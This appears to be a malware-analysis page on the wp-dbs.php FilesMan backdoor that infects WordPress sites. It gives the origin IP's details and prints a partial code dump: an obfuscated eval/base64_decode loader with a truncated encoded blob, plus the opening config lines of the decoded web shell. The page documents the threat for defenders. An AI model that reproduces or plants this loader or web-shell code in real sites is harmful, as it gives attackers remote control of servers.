wp-dbs.php - WordPress Backdoor (FilesMan)

The wp-dbs.php backdoor is know to infect WordPress websites by adding malicious PHP files to the server, allowing hackers to modify files on the server, running server commands, database queries etc.

A free PHP obfuscation tool called FOPO has been used to hide the code from malware and virus scanners. One of the recent variants of this malware is known to be created on Saturday, March 31st, 2018 at 17:12 UTC from IP 78.129.137.28

Details for 78.129.137.28

• IP: 78.129.137.28
• Hostname: tor.slashsrv.com
• ISP: Iomart Hosting Limited
• Organization: RapidSwitch
• Services: Confirmed proxy server, Tor exit node
• Recently reported forum spam source. (207)

Code Dump

<?php 
/* 
Obfuscation provided by FOPO - Free Online PHP Obfuscator: http://www.fopo.com.ar/ 
This code was created on Saturday, March 31st, 2018 at 17:12 UTC from IP 78.129.137.28 
Checksum: 2c1447b5c382300091d258ccc7739863cf112199 
*/ 
$lc19ce2f="\x62\141\163\145\66\x34\137\144\145\143\157\x64\145";@eval($lc19ce2f( 
"Ly9OTitOOFUva0ZWT2ZXWlhNWWFCRU5jdkM3N3JleDBUd0c1c25wOTZIdWdkRERuZ2VoZ0RTSWlrWlJ 
iNk5OeVpic05VTDdtMGhJTXo5NVFuZDRCQitGSkJNS0V6V3NtZ2hvd2R3anptSzYweFkvTUVIbnJLdHp 
qWWEwZWZmQ1ppUmp2UmRxbDJTN1VhdGFSTmFob0Q1OS9FRjk5NVRxTXQ1K3Z6ZzBZeDVURzFoQ0owOTV 

De-Coded Malware

<?php
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'UTF-8';